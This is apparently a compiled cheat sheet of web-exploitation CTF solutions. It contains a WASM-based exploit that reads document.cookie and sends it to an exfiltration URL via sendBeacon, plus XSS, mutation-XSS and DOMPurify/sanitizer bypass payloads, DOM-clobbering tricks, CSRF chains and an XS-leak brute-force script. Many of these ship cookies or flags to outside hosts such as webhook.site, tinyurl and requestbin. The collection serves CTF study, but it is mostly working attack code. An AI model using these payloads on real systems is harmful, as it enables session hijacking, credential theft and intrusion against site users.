        toPrimtive_Symbol = index(Object_getOwnPropertySymbols1(Object_getPrototypeOf1(iteratorSymbol)), 1);
    }
    
    
    var stringCounter: i32 = 0;
    
    export function createString_counter(): i32 {
        return stringCounter++;
    }
    
    var RETURN_CONSTANT1: externref;
    export function return_constant1(): externref {
        return RETURN_CONSTANT1;
    }
    
    var RETURN_CONSTANT2: externref;
    export function return_constant2(): externref {
        return RETURN_CONSTANT2;
    }
    
    var RETURN_STRING: string = "";
    
    export function get_char(charString: externref, idx: externref): externref {
        RETURN_CONSTANT1 = charString;
        let getFn = getDescriptorValue(Object_getOwnPropertyDescriptors1(String_charCodeAt_Descriptor))
    
        let selfGetter = Object_create1(null);
        Object_defineProperty3(selfGetter, get_String, valueOf_Descriptor);
    
        let funcRef = Object_assign1_funcref(return_constant1);
        Object_defineProperty3(funcRef, value_String, selfGetter);
        
        let acc = Object_create1(null);
        Object_defineProperty3(acc, get_String, getFn);
    
        let desc = Object_create1(null);
        Object_defineProperty3(desc, toString_String, funcRef);
        Object_defineProperty3(desc, value_String, acc);
    
        let resultArr = Object_values1(sample_String);
        Object_defineProperty3_int(resultArr, 0, desc);
    
        let resInt = index(resultArr, 0);
    
        /*
            Now when this is called it does the following
            res[0] = desc;
    
            let resInt = res[0];
    
            res[0]  ← DefineProperty with Desc = ToPropertyDescriptor(desc)
                    │
                    └── Get(desc, "value")  // because "value" is present on desc
                            │
                            └── desc.value is an ACCESSOR → call its getter
                                    getter = acc.get = String.prototype.charCodeAt
                                    this    = desc
                                    args    = []  (so index = 0)
                                    │
                                    └── inside charCodeAt:
                                            S = ToString(this)
                                                = ToString(desc)
                                                    │
                                                    └── Get(desc, "toString") → funcref
                                                        Call(funcref, desc) → RETURN_CONSTANT1
                                            return RETURN_CONSTANT1.charCodeAt(0) → int
        */
    
        RETURN_STRING += String.fromCharCode(Object_assign1_int(resInt));
        return resInt;
    }
    
    /* Real functions */
    export function createString(str: string): externref {
        stringCounter = 0;
    
        let finalStringObject = Object_create1(null);
        /* Used for the define property, its details dont matter */
        let sampleValue = index(Object_values1(Object_getOwnPropertyDescriptors1(sample_String)), 0);
    
        for (let i = 0; i < str.length; i++) {
            /* Alternative way to get a character compared to the phrack72
             * implementation */
            let char = str.charCodeAt(i);
    
            let tmp = Object_create1(null);
            Object_defineProperty3_int(tmp, char, sampleValue);
    
            let tmpCharCodeArray = Object_groupBy2_extern(Object_keys1(tmp), String_fromCharCode);
    
            let tmpChar = index(index(Object_keys1(tmpCharCodeArray), 0), 0);
    
            let tmpCharObject = Object_groupBy2_func(tmpChar, createString_counter);
    
            Object_assign2(finalStringObject, tmpCharObject);
    
            /*
                tmp = {}
                DefineProperty(tmp, String(char), sampleValue)        // data prop
    
                tmpCharCodeArray = groupBy(Object.keys(tmp), fromCharCode)
                └─ keys(tmp) → [String(char)]
                └─ call fromCharCode("123") → "a"
                → { "a": ["123"] }
    
                tmpChar = keys(tmpCharCodeArray)[0][0] → "a"
    
                tmpCharObject = groupBy("a", createString_counter)
                └─ iterate "a": ['a'], callback returns "0" (first time)
                → { "0": ["a"] }
    
                assign(finalStringObject, tmpCharObject)
                → finalStringObject accumulates { "0": ["a"], "1": ["b"], ... }
            */
        }
    
        let rawStringArray = Object_values1(finalStringObject);
    
        /*
        Now for the trickery, the problem is that phrack72 uses groupBy("", String.raw)
        This will call String.raw({}, 0), meaning it will place a 0 in between characters
        We can't use this, therefore we can use some tricks, there are more ways to call
        functions with a parameter (see the navigator.sendBeacon example), but in this case
        we use a symbol primitive.
        */
        RETURN_CONSTANT1 = value_String;
        // We get an object {value: [['a'], ['b'], ...]}
        let rawStringObject = Object_groupBy2_func(rawStringArray, return_constant1);
    
        /* For reusablability reasons, we need an object with {configurable: true}, because
         * we're setting the prototype using defineProperty, which configurable defaults to
         * false */
    
        let dummyValueObject = index(Object_values1(Object_getOwnPropertyDescriptors1(object_prototype)), 4);
        // Merge them together and overwrite the value
        Object_assign2(dummyValueObject, rawStringObject);
    
        // Set object.prototype.raw to {value: [['a'], ['b'], ...]}
        Object_defineProperty3(object_prototype, raw_String, dummyValueObject);
        /*
            DefineProperty(Object.prototype, "raw", dummyValueObject)
            └─ ToPropertyDescriptor(dummyValueObject)
            └─ Get(dummyValueObject,"value") → [ ["H"], ["e"], ... ]      // data read
            → DataDescriptor { [[Value]] = segments, configurable:true, ... }
            → Object.prototype.raw is now a data prop whose value is our segments array
        */
    
        // The rest is to just create an object with [targetObj] where we have a ref to targetObj
        let tmp = Object_create1(null);
        Object_defineProperty3_int(tmp, 1337, sampleValue);
    
        let targetObjs = Object_values1(Object_getOwnPropertyDescriptors1(tmp));
        let targetObj = index(targetObjs, 0);
    
        Object_assign2(targetObj, String_raw);
    
        Object_defineProperty3(targetObj, toPrimtive_Symbol, String_raw_Descriptor);
        /*
            ToPrimitive(targetObj, "string")
            └─ Has @@toPrimitive → Call(String.raw, this=targetObj, args=["string"])
            (the "hint" argument is ignored by String.raw; it expects a "template object")
            └─ String.raw(targetObj, ...)
                • looks up targetObj.raw → found on Object.prototype.raw
                • reads our segments array [ ["H"], ["e"], ... ]
                • stitches a string (no substitutions provided) → "Hello..."
        */
        
        // Calls toPrimtive which is String.raw
        let rawObject = Object_groupBy2_extern(targetObjs, string_class);
        return index(Object_keys1(rawObject), 0);
    
        /*
            groupBy(targetObjs, String)
            └─ for each x in targetObjs:
                k = String(x)
                if x === targetObj:
                    String(x)
                    └─ ToPrimitive(x, "string")
                    └─ Call(x[@@toPrimitive], x, ["string"])
                        └─ Call(String.raw, this=x, args=["string"])
                            ├─ Get(x,"raw") → (falls back to Object.prototype.raw)
                            │   → segments [ ["H"], ["e"], ... ]
                            └─ build "Hello..."
                raw[k].push(x)
            → rawObject has a single key: the constructed string
    
            Object.keys(rawObject)[0]  // ← the final string
        */
    }
    
    export function callProperty(obj: externref, key: externref): externref {
        let getterDesc = Object_create1(null);
        Object_defineProperty3(getterDesc, get_String, valueOf_Descriptor);
        Object_defineProperty3(key, value_String, getterDesc);
    
        let acc = Object_create1(null);
        Object_defineProperty3(acc, get_String, key);
    
        Object_defineProperty3(obj, value_String, acc);
    
        let resultArray = Object_values1(sample_String);
        Object_defineProperty3_int(resultArray, 0, obj);
    
        return index(resultArray, 0);
        /*
            DefineProperty(resultArray,"0", obj)
            └─ ToPropertyDescriptor(obj)
            └─ Get(obj,"value")  // accessor
                └─ [[Get]] = key  // from step 4
                    └─ Call(key, this=obj, args=[])
                        └─ (returns R)
            → DataDescriptor { value: R }
            → resultArray[0] := R
        */
    }
    
    export function getProperty(obj: externref, keyDesc: externref, isValue: boolean): externref {
        let gDesc = Object_getOwnPropertyDescriptor2(keyDesc, get_String);
    
        if (!isValue) {
            // We need an object with configurable: true that also has getters and setters
            let acc = Object_getOwnPropertyDescriptor2(windowObject, createString("event"));
    
            Object_defineProperty3(acc, get_String, gDesc);
            Object_defineProperty3(obj, value_String, acc);
    
            let resultArr = Object_values1(sample_String);
            Object_defineProperty3_int(resultArr, 0, obj);
            return index(resultArr, 0);
    
            /*
                DefineProperty(resultArr,"0", obj)
                └─ ToPropertyDescriptor(obj)
                └─ Get(obj,"value")  // accessor
                    └─ [[Get]] = F    // from acc.get
                        └─ Call(F, this=obj, args=[])
                            └─ returns R
                → DataDescriptor { value: R }
                → resultArr[0] = R
                → index(resultArr,0) === R
            */
        } else {
            // its a value type
            let vDesc = Object_getOwnPropertyDescriptor2(keyDesc, value_String);
            let resultArr = Object_values1(sample_String);
            Object_defineProperty3_int(resultArr, 0, vDesc);
            return index(resultArr, 0);
            /*
                DefineProperty(resultArr,"0", vDesc)
                └─ ToPropertyDescriptor(vDesc)
                └─ Get(vDesc,"value") → R        // data read, no call
                → DataDescriptor { value: R }
                → resultArr[0] = R
                → index(resultArr,0) === R
            */
        }
    }
    
    
    const TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    
    export function base64Encode(s: string): string {
      var out = "";
      var i: i32 = 0;
      var len: i32 = s.length;
      while (i + 2 < len) {
        var b1: i32 = s.charCodeAt(i++) & 0xFF;
        var b2: i32 = s.charCodeAt(i++) & 0xFF;
        var b3: i32 = s.charCodeAt(i++) & 0xFF;
        var triple: i32 = (b1 << 16) | (b2 << 8) | b3;
        out += TABLE.charAt((triple >> 18) & 63)
             + TABLE.charAt((triple >> 12) & 63)
             + TABLE.charAt((triple >> 6) & 63)
             + TABLE.charAt(triple & 63);
      }
      var rem: i32 = len - i;
      if (rem === 1) {
        var x1: i32 = s.charCodeAt(i) & 0xFF;
        var t1: i32 = x1 << 16;
        out += TABLE.charAt((t1 >> 18) & 63)
             + TABLE.charAt((t1 >> 12) & 63)
             + "==";
      } else if (rem === 2) {
        var x2_1: i32 = s.charCodeAt(i) & 0xFF;
        var x2_2: i32 = s.charCodeAt(i + 1) & 0xFF;
        var t2: i32 = (x2_1 << 16) | (x2_2 << 8);
        out += TABLE.charAt((t2 >> 18) & 63)
             + TABLE.charAt((t2 >> 12) & 63)
             + TABLE.charAt((t2 >> 6) & 63)
             + "=";
      }
      return out;
    }
    
    var windowObject: externref;
    export function hook(error: externref, structuredStackTrace: externref): void {
        // Depending on the caller this might be different, on remote and local this will be forced to be 2 due to the extra functions
        let windowCallSite = index(structuredStackTrace, 2);
    
        let getThis = getDescriptorValue(
            Object_getOwnPropertyDescriptor2(
                Object_getPrototypeOf1(windowCallSite),
                createString("getThis")
            ));
        
        windowObject = callProperty(windowCallSite, getThis);
        
        // get document and cookie
        let document = getProperty(windowObject, Object_getOwnPropertyDescriptor2(windowObject, createString("document")), false);
        let cookie = getProperty(document, Object_getOwnPropertyDescriptor2(Object_getPrototypeOf1(Object_getPrototypeOf1(document)), createString("cookie")), false);
        
        // Convert cookie into a assemblyscript string
        RETURN_STRING = "";
        Object_groupBy2_func(cookie, get_char);
        
        // Convert the cookie to base64, encodeURIComponent is broken for longer strings it seemed
        RETURN_STRING = base64Encode(RETURN_STRING);
        let exfill_target = EXFILL_URL + RETURN_STRING;
    
        // Convert wasm string to js string
        let targetUrl = createString(exfill_target);
    
        RETURN_CONSTANT2 = targetUrl;
        let emit = Object_assign1_funcref(return_constant2);
    
        let navigator = getProperty(windowObject, Object_getOwnPropertyDescriptor2(windowObject, createString("navigator")), false);
    
    
        /* Finally trickery to call sendBeacon, the point is that groupBy(..., sendBeacon) will fail because there is no underlying object */
        // We're defining strings first, because createString won't work when we mess with the proto more
        let zeroString = createString("0");
        
        let sendBeaconDesc = Object_getOwnPropertyDescriptor2(Object_getPrototypeOf1(navigator), createString("sendBeacon"));
        let setterDesc = Object_create1(null);
        Object_defineProperty3(setterDesc, set_String, sendBeaconDesc);
        Object_defineProperty3_int(object_prototype, 0, setterDesc);
        /*
            defineProperty(Object.prototype,"0", setterDesc)
            └─ ToPropertyDescriptor(setterDesc)
            └─ Get(setterDesc,"set") → sendBeacon (function)  // because we put the data value there
            → AccessorDescriptor { [[Set]] = sendBeacon }
            → Object.prototype["0"] is now an accessor with setter = navigator.sendBeacon
        */
    
    
        let baseIndexDesc = Object_getOwnPropertyDescriptor2(Object_values1(sample_String), zeroString);
        let selfGetter = Object_create1(null);
    
        Object_defineProperty3(selfGetter, get_String, valueOf_Descriptor);
        Object_defineProperty3(emit, value_String, selfGetter);
        
        let acc = Object_create1(null);
        Object_defineProperty3(acc, get_String, emit);
    
        Object_defineProperty3(baseIndexDesc, value_String, acc);
    
        let src = Object_create1(null);
        Object_defineProperty3_int(src, 0, baseIndexDesc);
        /*
            defineProperty(src,"0", baseIndexDesc)
            └─ ToPropertyDescriptor(baseIndexDesc)
            └─ Get(baseIndexDesc,"value")  // it's an ACCESSOR now
                └─ Call([[Get]]=emit, this=baseIndexDesc, args=[])
                    └─ return_constant2() → RETURN_CONSTANT2 → targetUrl
            → DataDescriptor { value: targetUrl, enumerable: true, ... }
            → src["0"] becomes an own enumerable data property with value targetUrl
        */
        
        // call sendBeacon
        Object_assign2(navigator, src);
    
        /*
            for each own enumerable key K of src:
            let V = src[K];                    // here K === "0", V === targetUrl
            Set(navigator, K, V)               // [[Set]] on navigator
            └─ navigator has no own "0" → falls to Object.prototype["0"]
                which is an accessor with [[Set]] = sendBeacon
                → Call(sendBeacon, this=navigator, args=[targetUrl])
        */
    }
    
    export function exploit(): void {
        /* First define a number of useful objects */
        setupConstants();
    
        let prepareStackTraceString = createString("prepareStackTrace");
    
        /* The following is a trick to get a {value: myFunction} i.e funcRef.value = funcref */
        let getterDesc = Object_create1(null);
        Object_defineProperty3(getterDesc, get_String, valueOf_Descriptor);
    
        let funcRef = Object_assign1_funcref(hook);
        Object_defineProperty3(funcRef, value_String, getterDesc);
    
        // Now just do a define of object prototype of prepareStackTrace
        Object_defineProperty3(object_prototype, prepareStackTraceString, funcRef);
        // Object.prototype.prepareStackTraceString = {value: hook}
    
        // Trigger a WASM error to call into hook;
        unreachable();
    }
    
    /* An indirect call to force the same constants on remote */
    export function main(): void {
        exploit();
    }
    
    export function renderPixel(x: i32, y: i32, dt: f32): i32 {
        exploit();
        return 0xAA00FF;
    }

    PACE OPTIONS XSS

    Event NameMalta CTF Quals
    GitHub URLhttps://github.com/Expressionless/maltactf-2025-quals/blob/master/web/fancy-text-generator/solution/solve.py
    Challenge NameEnterprise template as a service
    Attachments
    References

    Remember that html entity is start with &

    Event NameBi0s CTF 2025
    GitHub URL-
    Challenge NameMy Flask App Revenge
    attachment

    document.addEventListener("DOMContentLoaded", async function() {
        const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
        // get url serach params
        const urlParams = new URLSearchParams(window.location.search);
        const name = urlParams.get('name');
        if (name) {
            fetch(`/api/users?name=${name}`)
                .then(response => response.json())
                .then(data => {
                    frames = data.map(user => {
                        return `
                            <iframe src="/render?${Object.keys(user).map((i)=> encodeURI(i+"="+user[i]).replaceAll('&','%26')).join("&")}"></iframe>
                        `;
                    }).join("");
                    document.getElementById("frames").innerHTML = frames;
                })
                .catch(error => {
                   console.log("Error fetching user data:", error);
                })
            
        }
        if(window.name=="admin"){
                js = urlParams.get('js');
                if(js){
                    eval(js);
                }
                
        }
        
    })
    
    solver
    import asyncio
    import httpx
    
    URL = "http://localhost:5001/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.AsyncClient(base_url=url, verify=False, timeout=100)
            self.session = ""
        def register(self, username, password):
            response = self.c.post("/register", json={"username": username, "password": password})
            return response
        def login(self, username, password):
            response = self.c.post("/login", json={"username": username, "password": password})
            return response
        def update_bio(self, bio):
            response = self.c.post("/update_bio", json=bio)
            return response
        def report(self, name):
            return self.c.post("/report", json={"name": name})
    
    class API(BaseAPI):
        ...
    
    async def main():
        api = API()
        creds = "poobarss3"
        await api.register(creds, creds)
        res = await api.login(creds, creds)
        b = '''<iframe name=admin srcdoc=\"<meta http-equiv=refresh content='1; url=about:srcdoc?js=top.location=`https://webhook.site/df8e48c8-8127-4ae6-86d6-f753b26c0197?`.concat(document.cookie);'><script src=/static/users.js></script>\">'''
        res = await api.update_bio({'#x26;bio': b, "!":"x", "bio": "a"})
        res = await api.report(creds)
        print(res.text)
    
    if __name__ == "__main__":
        asyncio.run(main())

    Math + Anotation XML + Style MXSS in rails-html-sanitizer 1.6.2

    Event NameBi0s CTF 2025
    GitHub URL-
    Challenge Nameflavour less
    attachment

    <math><annotation-xml encoding="text/html"><style><img src onerror=alert(origin)>

    XSS Name Trick

    Event NameGoogle CTF 2023
    GitHub URLhttps://github.com/google/google-ctf/tree/master/2023/web-biohazard
    Challenge Namebiohazard

    w = window.open("https://google.com", "<name>")

    then the other website we open will have window.name = "<name>"

    Prototype pollution and dom clobbering lead to csp bypass and xss

    Event NameGoogle CTF 2023
    GitHub URLhttps://github.com/google/google-ctf/tree/master/2023/web-biohazard
    Challenge Namebiohazard

    bio hazard unitended solution https://gist.github.com/arkark/340ffadc009a4dd07be6696e0dec4553https://biohazard-web.2023.ctfcompetition.com/static/closure-library/closure/goog/demos/xpc/minimal/?peerdomain=google.com

    My solution for BIOHAZARD didn't use prototype pollution ![😅](<https://discord.com/assets/b45af785b0e648fe2fb7e318a6b8010c.svg>) I just used `/static/closure-library/closure/goog/demos/xpc/minimal/index.html?peerdomain={{ATTACKER_DOMAIN}}` and sent XSS payload from `ATTACKER_DOMAIN`. ref. [<https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html>](<https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html> "<https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html>")
    

    I don't know xpc, but I could exploit using files in demos. In ATTACKER_DOMAIN, I added the following script to https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/inner.html

    <script>
      const inputElm = document.querySelector("#msgInput");
      const submitElm = document.querySelector("body > p > input[type=button]:nth-child(2)");
    
      inputElm.value = `<img src=0 onerror="location = '{{WEBHOOK_URL}}/?' + document.cookie">`;
      const f = () => {
        if (channel.send) {
          submitElm.click();
        } else {
          setTimeout(f, 500);
        }
      };
      setTimeout(f, 500);
    </script>
    

    looks like this is a demo page to send messages between two different websites. And the parent logs messages with innerHTML

    /**
     * Writes a message to the log.
     * @param {string} msg The message text.
     */
    function log(msg) {
      logEl || (logEl = goog.dom.getElement('log'));
    
      var msgEl = goog.dom.createDom(goog.dom.TagName.DIV);
      msgEl.innerHTML = msg;
      logEl.insertBefore(msgEl, logEl.firstChild);
    }
    

    and I guess the demo page allows loading your own domain in one frame. and then you send a message over that is then logged. thus triggering XSS if you send a XSS payload.

    https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html

    Postviewer

    0-day XSS on phlib/xss-sanitizer

    Event NameCyber Jawara National 2024
    GitHub URL-
    Challenge NameNot So Readymade Sanitizer
    Attachments

    solve script
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
    </head>
    <body>
    <script>
    
        const webhook = "webhook";
        const hostname = "not-so-readymade-sanitizer-web";
        window.open(`http://${hostname}/idk`)
    
        const leak = async (url) => {
            return new Promise((r) => {
                let s = document.createElement('script')
                s.src = url
                s.onload = (e) => {
                    e.target.remove()
                    return r(1)
                }
                s.onerror = (e) => {
                    e.target.remove()
                    return r(0)
                }
                document.head.appendChild(s)
            })
        }
    
        let log = (msg) => {
            console.log(msg)
            navigator.sendBeacon(`http://${webhook}/log`, msg)
        }
    
        let chars = "0123456789abcdef";
        const sleep = ms => new Promise(r => setTimeout(r, ms));
    
        async function main() {
            let known = '';
            let found;
            log('init')
    
            do {
                found = false;
                for (const c of chars) {
                    const candidate = known + c;
                    const param = encodeURIComponent(candidate + '%');
                    const url = `http://${hostname}/search.php?password=${param}`;
                    const res = await leak(url);
                    if (res) {
                        known = candidate;
                        log(`found ${known}`)
                        found = true;
                        break;
                    }
    
                    // await sleep(300);
    
                }
            } while (found);
    
            log(`Password: ${known}`);
    
            let a = `
            fetch('/flag.php').then((r)=>{r.text().then((r)=>{navigator.sendBeacon('http://${webhook}/', r)})})
            `
    
            window.name = a
    
    
            window.open(`http://${hostname}/index.php?password=${known}&html=<xss id=">" oncontentvisibilityautostatechange=eval(name) style=display:block;content-visibility:auto>`, a)
        }
    
        main()
    </script>
    </body>
    </html>
    

    to get xss you can do something like this

    http://localhost:4242/?password=assd&html=<xss%20autofocus%20x=">"%20onfocus=alert(1)%20tabindex=1>

    decoded

    <xss autofocus x=">" onfocus=alert(1)>

    Use another domain to set a cookie

    Event NameLA CTF 2025
    GitHub URLhttps://github.com/uclaacm/lactf-archive/tree/main/2025
    Challenge Nameantisocial-media
    Attachments
    bot.js
    const crypto = require("crypto");
    
    module.exports = {
        name: "antisocial-media",
        async execute(browser, url) {
            const page = await browser.newPage();
    
            // Sets the FLAG cookie.
            await page.setCookie({
                name: "secret",
                value: process.env.CHALL_ANTISOCIAL_MEDIA_ADMIN_PW || "placeholder",
                domain: process.env.CHALL_ANTISOCIAL_MEDIA_DOMAIN || "localhost",
                httpOnly: true,
                sameSite: "Lax",
            });
    
            // Logins to the site.
            await page.goto(process.env.CHALL_ANTISOCIAL_MEDIA_URL || "http://localhost:3000");
            await page.waitForSelector("#username");
            await page.type("#username", crypto.randomBytes(32).toString("hex"));
            await page.type("#password", crypto.randomBytes(32).toString("hex"));
            await page.click("#login");
            await page.waitForNavigation();
    
            // Visits the given URL.
            await page.goto(url);
            await page.waitForNetworkIdle({
                timeout: 10000,
            });
            await page.close();
        },
    };
    

    Benson liu

    My solve script for web/antisocial-media.

  • JS's .replace trick using $ to bypass the script-src CSP
  • using spanned XSS + some payload golfing
  • using window.open to bypass the connect-src CSP
  • using mavs-fan to set domain cookie + Logout CSRF
  • #!/usr/bin/env python3
    
    import requests
    import random
    import time
    
    url = "https://antisocial-media.chall.lac.tf"
    trampoline = "https://mavs-fan.chall.lac.tf"
    etld = ".chall.lac.tf"
    
    s = requests.Session()
    
    username = "bliutech" + random.randbytes(16).hex()
    password = "password" + random.randbytes(16).hex()
    
    r = s.post(url + "/api/login", json={"username": username, "password": password})
    r.raise_for_status()
    
    time.sleep(1)
    
    payload = f"""
    </script>$`/*
    */f=parent./*
    */frames[0]./*
    */document./*
    */body./*
    */innerText;/*
    */open("ht"+/*
    */"tps://t"+/*
    */"inyurl."+/*
    */"com/bli"+/*
    */"utech?q"+/*
    */"="+f);/*
    */</script><!--
    """
    for line in payload.splitlines()[1:]:
        payload = line.strip()
        r = s.post(url + "/api/notes", json={"note": payload})
        r.raise_for_status()
    
    session_cookie = s.cookies.get_dict().get("connect.sid")
    print("Session cookie:", session_cookie)
    
    time.sleep(1)
    
    # CSRF the flag on mavs-fan
    payload = f"""
    <form action='{url}/flag' method='POST'></form>
    <img src='x' onerror='document.forms[0].submit()'>
    """
    r = s.post(trampoline + "/api/post", data={"message": payload})
    r.raise_for_status()
    csrf_url = r.url
    
    time.sleep(1)
    
    # Logout CSRF
    payload = f"""
    <form action='{url}/api/logout' method='POST'></form>
    <img src='x' onerror='document.forms[0].submit()'>
    """
    r = s.post(trampoline + "/api/post", data={"message": payload})
    r.raise_for_status()
    logout_url = r.url
    
    time.sleep(1)
    
    # Pivot to mavs-fan and tigger full chain.
    payload = f"""
    <iframe src='{csrf_url}'></iframe>
    <img src='x' onerror="window.payload = document.createElement('div'); window.payload.id='payload'; document.body.appendChild(window.payload);">
    <img src='x' onerror="window.payload2 = document.createElement('div'); window.payload2.id='payload2'; document.body.appendChild(window.payload2);">
    <img src='x' onerror="setTimeout(() => document.cookie = 'connect.sid={session_cookie};path=/;domain={etld}', 1000)">
    <img src='x' onerror="setTimeout(() => document.getElementById('payload').innerHTML += '<iframe src=\\\\'{logout_url}\\\\'></iframe>', 2000)">
    <img src='x' onerror="setTimeout(() => document.getElementById('payload2').innerHTML += '<iframe src=\\\\'{url}/profile\\\\'></iframe>', 3000)">
    """
    r = s.post(trampoline + "/api/post", data={"message": payload})
    r.raise_for_status()
    
    print("Submit the following URL to the admin bot:")
    print("Payload:", r.url)
    
    Siunam

    basically we used challenge web/purell to set our own user's session on domain .chall.lac.tf and path /profile, then use the XSS payload on web/purell to redirect to antisocial-media.chall.lac.tf, which triggers the XSS payload on antisocial-media and exfiltrate the flag

    XSS only in firefox and can be triggered if the user do location.reload | resufle the iframe with sandbox and without sandbox and gain XSS

    Event NamePWNME CTF Quals 2025
    GitHub URLhttps://github.com/Phreaks-2600/PwnMeCTF-2025-quals/
    Challenge NameA 18 years old bug
    Attachments
    References

    The target must do location.reload

    await page.evaluate(() => {
        location.reload();
    })

    this mus be set too for exploit to work

    res.set("Cache-Control", "public, max-age=30");
    solver
    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>Shadow DOM with iframe</title>
    </head>
    <body>
      <h1>Main Page</h1>
      <script>
        const TARGET = "http://localhost:3000"
        const sleep = (ms) => new Promise(res=>setTimeout(res, ms))
        const payload = `<img src=x onerror=alert(document.domain)>`
        const cachekey = Math.random()
        async function main(){
          const w = open(TARGET+`/?url=/sandbox?html=${encodeURIComponent(payload)}`, "foo")
          await sleep(1000)
          w.location = TARGET+`/?${cachekey}`
          await sleep(1000)
          w.location = TARGET+`/?url=about:version`
          await sleep(1000)
          w.location = TARGET+`/?${cachekey}`
        }
        main()
      </script>
    </body>
    </html>

    XSS Bypass with jsfuck and some weird upper to lower href behaviour

    hex2dec writeup from crewctf 2023

    let s = '';
    for (let i = 0; i < 0x100; i++) {
        if (/^[0-f +-]+$/g.test(String.fromCharCode(i))) {
            s += String.fromCharCode(i);
        }
    }
    console.log(s); // " +-0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdef"
    
    def gen_str(s):
        chars = []
        for c in s:
            if c.islower():
                idx = ord(c) - ord("a")
                chars.append(f"X[{idx}]")
            elif c == "`":
                chars.append(f"`\\\\``")
            elif c == "\\\\":
                chars.append(f"`\\\\\\\\`")
            else:
                chars.append(f"`{c}`")
        return "+".join(chars)
    
    def gen_unicode_str(s):
        return "".join([f"\\\\u{ord(c):04X}" for c in s])
    
    webhook = "<https://webhook.example.com/?">
    
    payload = "<A ID=A HREF= q q:>"
    payload += "<IMG SRC ONERROR="
    payload += "X=A+``;"
    payload += f"HREF={gen_str('href')};"
    payload += f"CLICK={gen_str('click')};"
    payload += f"COOKIE={gen_str('cookie')};"
    payload += f"A[HREF]={gen_str(f'javascript:location[HREF]=`{gen_unicode_str(webhook)}`+document[COOKIE]')};"
    payload += f"A[CLICK]``;"
    payload += ">"
    
    print(payload)
    

    another sulution

    <img alt="ownerDocument" id="rr">
    <img alt="defaultView" id="rrr">
    <img alt="location" id="rrrr">
    <img alt="cookie" id="rrrrr">
    <a href="<https://requestbin.example.com/?"> id="rrrrrr"></a>
    <script src="/minify?code=rr%5Brr%5Br%3D%5B%2B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%2B%5B%5B%5D%5D%5B%2B%5B%5D%5D%5D%2B%5B%5B%5B%5B%5D%3E%5B%5D%5D%5B%2B%5B%5D%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%2B%5B%2B%2B%5B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5B%2B%5B%5D%5D%5D%2B%5B%5B%5B%5D%3E%3D%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%5D%5D%5D%5Brrr%5Br%5D%5D%5Brrrr%5Br%5D%5D%3Drrrrrr%2Brr%5Brr%5Br%5D%5D%5Brrrrr%5Br%5D%5D"></script>
    
    rr[
        // r === 'alt'
        // 'ownerDocument'
        rr[r=[+[][[]]+[]][+[]][++[[]][+[]]]+[[[[]>[]][+[]]]+[]][+[]][++[++[[]][+[]]][+[]]]+[[[]>=[]]+[]][+[]][+[]]]
    ][
        rrr[r] // 'defaultView'
    ][
        rrrr[r] // 'location'
    ] = rrrrrr /* rrrrrr.toString() === rrrrrr.href */ + rr[
        rr[r] // 'ownerDocument'
    ][
        rrrrr[r] // 'cookie'
    ]
    

    Menggunakan ParentNode untuk mendapatkan Document Object (TSGCTF2023) (Brainfxxk Challenge)

    <!DOCTYPE html>
    <html lang="en">
    
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    
    <body>
        <a id="rrr" href="rel:">
        <a id="rrrr" rel="parentNode">
        <a id="rrrrr" rel="location"></a>
        <a id="rrrrrr" rel="cookie"></a>
        <a id="rrrrrrr" rel="xxx?cookie="></a>
        <a id="rrrrrrrr"></a>
        <script>
            r=+[] // 0
            rr=++[[]][+[]] // 1
            rrr=rrr+r // rel:0 -> convert "a" tag to string
            rrr=rrr[r]+rrr[rr]+rrr[rr+rr] // rel -> rrr[0]+rrr[1]+rrr[2]
            rrrr=rrrr[rrr] // parentNode -> rrrr['rel']
            rrrrr=rrrrr[rrr] // location -> rrrrr['rel']
            rrrrrr=rrrrrr[rrr] // cookie -> rrrrrr['rel']
            rrrrrrr=rrrrrrr[rrr] // webhook.site?cookie= -> rrrrrrr['rel']
            rrrrrrrr=rrrrrrrr[rrrr][rrrr][rrrr] // Object: HTMLDocument -> rrrrrrrr['parentNode']['parentNode']['parentNode']
            r=rrrrrrrr[rrrrrr] // document.cookie
            rrrrrrrr[rrrrr]= rrrrrrr+r// document.location = 'webhook.site?cookie='+document.cookie
        </script>
    </body>
    
    </html>
    

    Undo the js html value

    https://nanimokangaeteinai.hateblo.jp/entry/2023/07/17/101119#~text=On notes:~:text=zer0pts{1dk_why_1t_uses_jq}-,[Web 181] Neko Note (26 solves),-I made another

    const h = localStorage.getItem('neko-note-history');
    const id = JSON.parse(h)[0].id;
    	document.execCommand('undo');
    const pw = document.querySelector('input').value;
    navigator.sendBeacon(`https://example.com/?id=${id}&pw=${pw}`);
    
    zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
    

    DOMPurify bypass in httpx document

    ImaginaryCTF 2023 (sanitized)

    https://github.com/maple3142/My-CTF-Challenges/tree/master/ImaginaryCTF 2023/Sanitized Revenge

    a<style><ø:base id="giotino" xmlns:ø="<http://www.w3.org/1999/xhtml>" href="/**/=1;alert(document.cookie);//" /></style>
    
    ff<style><!--</style><a id="--><base href='/**/;var/**/Page;window.name=document.cookie;document.location.host=IPV4_ADDRESS_IN_INTEGER_FORM_REDACTED//'></base><!--"></a><style>&lt;k</style><style>--></style>
    
    <body>
    <style>a { color: <!--}</style>
